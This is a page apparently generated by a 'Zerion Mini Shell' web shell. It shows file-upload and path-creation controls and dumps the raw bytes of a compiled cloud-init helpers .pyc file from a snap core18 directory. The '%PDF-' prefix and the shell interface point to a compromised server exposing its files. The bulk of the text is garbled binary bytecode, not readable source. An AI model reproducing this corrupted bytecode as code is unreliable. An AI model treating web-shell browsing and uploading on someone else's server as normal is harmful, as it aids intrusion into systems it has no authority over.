%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core18/current/usr/lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Create Path :
Current File : //snap/core18/current/usr/lib/python3/dist-packages/cloudinit/__pycache__/helpers.cpython-36.pyc

3

�Ad�A�@sddlZddlZddlmZmZmZddlmZddlmZddl	m
Zddl	mZm
Z
mZddlmZmZmZmZeje�ZGdd	�d	e�ZGd
d�d�ZGdd
�d
�ZGdd�d�Zdd�ZGdd�d�ZGdd�d�ZGdd�d�ZGdd�d�Z Gdd�dej!�Z"Gdd�de�Z#dS)�N)�
NoOptionError�NoSectionError�RawConfigParser)�StringIO)�time)�log)�persistence�
type_utils�util)�CFG_ENV_NAME�
PER_ALWAYS�PER_INSTANCE�PER_ONCEc@seZdZdS)�LockFailureN)�__name__�
__module__�__qualname__�rr�3/usr/lib/python3/dist-packages/cloudinit/helpers.pyrsrc@seZdZdS)�	DummyLockN)rrrrrrrrsrc@s<eZdZdd�Zejd
dd��Zdd�Zdd	�Zd
d�Z	dS)�DummySemaphorescCsdS)Nr)�selfrrr�__init__!szDummySemaphores.__init__Fccst�VdS)N)r)r�_name�_freqZ_clear_on_failrrr�lock$szDummySemaphores.lockcCsdS)NFr)rrrrrr�has_run(szDummySemaphores.has_runcCsdS)NTr)rrrrrr�clear+szDummySemaphores.clearcCsdS)Nr)rrrr�	clear_all.szDummySemaphores.clear_allN)F)
rrrr�
contextlib�contextmanagerrrrrrrrrr src@seZdZdd�Zdd�ZdS)�FileLockcCs
||_dS)N)�fn)rr"rrrr3szFileLock.__init__cCsdtj|�|jfS)Nz<%s using file %r>)r	Zobj_namer")rrrr�__str__6szFileLock.__str__N)rrrrr#rrrrr!2sr!cCs|jdd�S)N�-�_)�replace)�namerrr�canon_sem_name:sr(c@sLeZdZdd�Zejddd��Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�ZdS)�FileSemaphorescCs
||_dS)N)�sem_path)rr*rrrr?szFileSemaphores.__init__FccsFt|�}y|j||�VWn&tk
r@|r:|j||��YnXdS)N)r(�_acquire�	Exceptionr)rr'�freq�
clear_on_failrrrrBszFileSemaphores.lockcCsNt|�}|j||�}ytj|�Wn&ttfk
rHtjtd|�dSXdS)NzFailed deleting semaphore %sFT)r(�	_get_pathr
Zdel_file�IOError�OSError�logexc�LOG)rr'r-�sem_filerrrrLszFileSemaphores.clearcCs>ytj|j�Wn(ttfk
r8tjtd|j�YnXdS)Nz&Failed deleting semaphore directory %s)r
Zdel_dirr*r0r1r2r3)rrrrrVs
zFileSemaphores.clear_allcCsn|j||�rdS|j||�}dtj�t�f}ytj||�Wn&ttfk
rdtj	t
d|�dSXt|�S)Nz%s: %s
z Failed writing semaphore file %s)rr/�os�getpidrr
Z
write_filer0r1r2r3r!)rr'r-r4�contentsrrrr+^szFileSemaphores._acquirecCsh|s|tkrdSt|�}|j||�}tjj|�r6dS||krdtjj|j||��rdtjd||�dSdS)NFTz�%s has run without canonicalized name [%s].
likely the migrator has not yet run. It will run next boot.
run manually with: cloud-init single --name=migrator)rr(r/r5�path�existsr3�warning)rr'r-Zcnamer4rrrrnszFileSemaphores.has_runcCs<|j}|s|tkr"tjj||�Stjj|d||f�SdS)Nz%s.%s)r*r
r5r8�join)rr'r-r*rrrr/�szFileSemaphores._get_pathN)F)rrrrrr rrrr+rr/rrrrr)>s	
r)c@s&eZdZdd�Zdd�Zd	dd�ZdS)
�RunnerscCs||_i|_dS)N)�paths�sems)rr=rrrr�szRunners.__init__cCsj|tks|rdSd}|tkr,|jjd�}n|tkr@|jjd�}|sHdS||jkr`t|�|j|<|j|S)N�sem)rr
r=�	get_ipathr�	get_cpathr>r))rr-r*rrr�_get_sem�s
zRunners._get_semNFc	Cs�|j|�}|st�}|sg}|j||�r:tjd||�dS|j|||��L}|s\td|��n4tjd||�t|t�r�|f|�}n||�}d|fSWdQRXdS)Nz%s already ran (freq=%s)FzFailed to acquire lock for %szRunning %s using lock (%s)T)FN)	rBrrr3�debugrr�
isinstance�dict)	rr'Zfunctor�argsr-r.r?ZlkZresultsrrr�run�s 

zRunners.run)NF)rrrrrBrGrrrrr<�sr<c@sHeZdZddd�Zdd�Zdd�Zd	d
�Zed�dd
�Ze	dd��Z
dS)�ConfigMergerNTcCs(||_||_||_||_||_d|_dS)N)�_paths�_ds�_fns�	_base_cfg�_include_vendor�_cfg)rr=�
datasourceZadditional_fnsZbase_cfgZinclude_vendorrrrr�szConfigMerger.__init__cCsZg}|jrVy&|jj�}|r.t|t�r.|j|�Wn$tk
rTtjtd|j�YnX|S)Nz2Failed loading of datasource config object from %s)	rJZget_config_objrDrE�appendr,r
r2r3)rZd_cfgsZds_cfgrrr�_get_datasource_configs�s
z$ConfigMerger._get_datasource_configscCsTg}ttjkrPtjt}y|jtj|��Wn"tk
rNtjtd|�YnX|S)Nz%Failed loading of env. config from %s)	rr5�environrPr
�	read_confr,r2r3)rZe_cfgsZe_fnrrr�_get_env_configs�s

zConfigMerger._get_env_configscCs�g}|js|Sdg}|jr.|jd�|jd�x~|D]v}|jj|�}|r4tjj|�r4y|jtj|��Wq4t	k
r�t
jd|�Yq4tk
r�tj
t
d|�Yq4Xq4W|S)N�cloud_config�vendor2_cloud_config�vendor_cloud_configz5Skipped loading cloud-config from %s due to non-root.z&Failed loading of cloud-config from %s)rIrMrP�
get_ipath_curr5r8�isfiler
rS�PermissionErrorr3rCr,r2)rZi_cfgsZcc_pathsZcc_pZcc_fnrrr�_get_instance_configs�s(



z"ConfigMerger._get_instance_configs)�returncCs�g}|jrRxF|jD]<}y|jtj|��Wqtk
rLtjtd|�YqXqW|j|j��|j|j	��|j|j
��|jr�|j|j�tj|�S)Nz'Failed loading of configuration from %s)
rKrPr
rSr,r2r3�extendrTr[rQrLZ
mergemanydict)r�cfgsZc_fnrrr�	_read_cfgszConfigMerger._read_cfgcCs|jdkr|j�|_|jS)N)rNr_)rrrr�cfgs

zConfigMerger.cfg)NNNNT)rrrrrQrTr[rEr_�propertyr`rrrrrH�s


 rHc@sFeZdZdd�Zdd�Zdd�Zdd�Zddd�Zd
d�Zdd�Z	dS)�ContentHandlerscCsi|_g|_dS)N)�
registered�initialized)rrrrr(szContentHandlers.__init__cCs
|j|�S)N)�
is_registered)r�itemrrr�__contains__,szContentHandlers.__contains__cCs
|j|�S)N)�_get_handler)r�keyrrr�__getitem__/szContentHandlers.__getitem__cCs
||jkS)N)rc)r�content_typerrrre2szContentHandlers.is_registeredFTcCsrt�}x4|j�D](}|r$|j|�q|j|�s|j|�qWx|D]}||j|<qBW|rn||jkrn|jj|�|S)N)�setZ
list_types�addrercrdrP)r�modrdZ	overwrite�types�trrr�register5s

zContentHandlers.registercCs
|j|S)N)rc)rrkrrrrhCszContentHandlers._get_handlercCst|jj��S)N)�listrc�items)rrrrrsFszContentHandlers.itemsN)FT)
rrrrrgrjrerqrhrsrrrrrb's
rbc@sreZdZdZded�dd�Zedd�dd�Zdd	d
�Zddd�Z	dd
d�Z
ddd�Zded�dd�Z
ddd�ZdS)�Paths�N)�	path_cfgscCs�||_|jdd�|_|jdd�|_tjj|jd�|_tjj|jd�|_tjj|jd�|_	|jdd	�}tjj|d
�|_
ddd
ddddddddddddddddddd �|_||_dS)!N�	cloud_dirz/var/lib/cloud�run_dirz/run/cloud-init�instancez
boot-finishedZseedZ
templates_dirz/etc/cloud/templates/z%s.tmpl�	boothookszcloud-config.txt�data�handlerszinstance-data.jsonzinstance-data-sensitive.jsonz.instance-idzmanual-cleanzobj.pkl�scriptsr?zuser-data.txt.iz
user-data.txtzvendor-data.txt.izvendor-data2.txt.izvendor-data2.txtzvendor-data.txtzvendor2-cloud-config.txtzvendor-cloud-config.txtzscripts/vendor�warnings)rzrUr{r|�
instance_data�instance_data_sensitiveZinstance_idZmanual_clean_markerZobj_pklr}r?ZuserdataZuserdata_rawZ
vendordataZvendordata2Zvendordata2_rawZvendordata_rawrVrWZvendor_scriptsr~)
r^�getrwrxr5r8r;�
instance_linkZ
boot_finishedZseed_dirZtemplate_tpl�lookupsrO)rrv�dsZtemplate_dirrrrrMs@
zPaths.__init__)�ci_pkl_versionr\cCsJt|d�st|j|jd�j|_d|jkr2d|jd<d|jkrFd|jd<dS)z(Perform deserialization fixes for Paths.rx)rvr�rzinstance-data.jsonr�zinstance-data-sensitive.jsonN)�hasattrrtr^rOrxr�)rr�rrr�	_unpickle{s



zPaths._unpicklecCs|j|j|�S)N)r/r�)rr'rrrrX�szPaths.get_ipath_curcCs|j|j|�S)N)r/rw)rr'rrrrA�szPaths.get_cpathcCsf|js
dS|jj�}|dkr dSt|�jtjd�}tjj|jd|�}|j	j
|�}|rbtjj||�}|S)Nr%Z	instances)rOZget_instance_id�strr&r5�sepr8r;rwr�r�)rr'ZiidZ
path_safe_iid�ipathZadd_onrrr�
_get_ipath�s
zPaths._get_ipathcCs$|j|�}|stjd�dS|SdS)Nz?No per instance data available, is there an datasource/iid set?)r�r3r:)rr'r�rrrr@�s
zPaths.get_ipath)�basecCs |dkr|Stjj||j|�S)N)r5r8r;r�)rr�r'rrrr/�szPaths._get_pathcCs|j|j|�S)N)r/rx)rr'rrr�get_runpath�szPaths.get_runpath)N)N)N)N)N)N)N)rrrZ_ci_pkl_versionrEr�intr�rXrAr�r@r�r/r�rrrrrtJs.



rtc@sXeZdZdZdZdZdZdd�Zddd�Zd	d
�Z	dd�Z
d
d�Zdd�Zddd�Z
dS)�DefaultingConfigParserrgFNcCsD|j}ytj|||�}Wn&tk
r,Yntk
r>YnX|S)N)�DEF_BASErr�rr)r�section�option�valuerrrr��szDefaultingConfigParser.getcCs6|j|�r"|j�dkr"|j|�tj||||�dS)N�default)Zhas_section�lowerZadd_sectionrrl)rr�r�r�rrrrl�s
zDefaultingConfigParser.setcCs|j||�rtj|||�dS)N)�
has_optionr�
remove_option)rr�r�rrrr��sz$DefaultingConfigParser.remove_optioncCs |j||�s|jStj|||�S)N)r��DEF_BOOLEANr�
getboolean)rr�r�rrrr��sz!DefaultingConfigParser.getbooleancCs |j||�s|jStj|||�S)N)r��	DEF_FLOATr�getfloat)rr�r�rrrr��szDefaultingConfigParser.getfloatcCs |j||�s|jStj|||�S)N)r��DEF_INTr�getint)rr�r�rrrr��szDefaultingConfigParser.getintcCs<d}t�}|j|�|j�|j�}|r8dj||dg�}|S)N��
)r�write�flush�getvaluer;)r�headerr7Zoutputstreamrrr�	stringify�s
z DefaultingConfigParser.stringify)N)N)rrrr�r�r�r�r�rlr�r�r�r�r�rrrrr��s

r�)$rr5Zconfigparserrrr�iorrZ	cloudinitrZloggingrr	r
Zcloudinit.settingsrrr
rZ	getLoggerrr3r,rrrr!r(r)r<rHrbZCloudInitPickleMixinrtr�rrrr�<module>s&
R-j#|

Zerion Mini Shell 1.0